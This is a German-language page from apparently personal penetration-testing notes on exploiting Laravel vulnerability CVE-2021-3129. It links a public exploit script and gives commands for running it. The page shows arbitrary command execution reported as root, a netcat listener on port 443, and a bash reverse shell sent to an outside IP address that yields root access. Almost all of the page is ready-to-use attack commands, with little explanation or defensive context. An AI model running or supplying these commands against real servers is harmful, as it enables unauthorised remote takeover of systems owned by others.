> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/laravel-cms-exploitation.md).

# Laravel

## Ausnutzung von Laravel CMS (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="/files/a3592c25ffb9c3235364bdc132445156a13b8d0f" alt=""><figcaption></figcaption></figure>

#### Ausführung beliebiger Befehle

Nutzen Sie CVE-2021-3129 aus, um beliebige Befehle auf dem Server auszuführen. Testen Sie zunächst die Befehlsausführung mit `id`:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

Die Ausgabe bestätigt Root-Rechte.

<figure><img src="/files/d688a1dfa7137e7a42512a9c66cd418af6470cac" alt=""><figcaption></figcaption></figure>

### Eine interaktive Reverse Shell erhalten

Um eine interaktive Shell zu erhalten, starten Sie einen Listener auf Port 443:

```bash
nc -nvlp 443
```

Führen Sie dann über den Exploit eine Reverse Shell auf dem Ziel aus:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

Dies verschafft Root-Zugriff auf dem Ziel.

<figure><img src="/files/23e1fcda437a41deb0c8648c1f4e5adcb57fd9ea" alt=""><figcaption></figcaption></figure>


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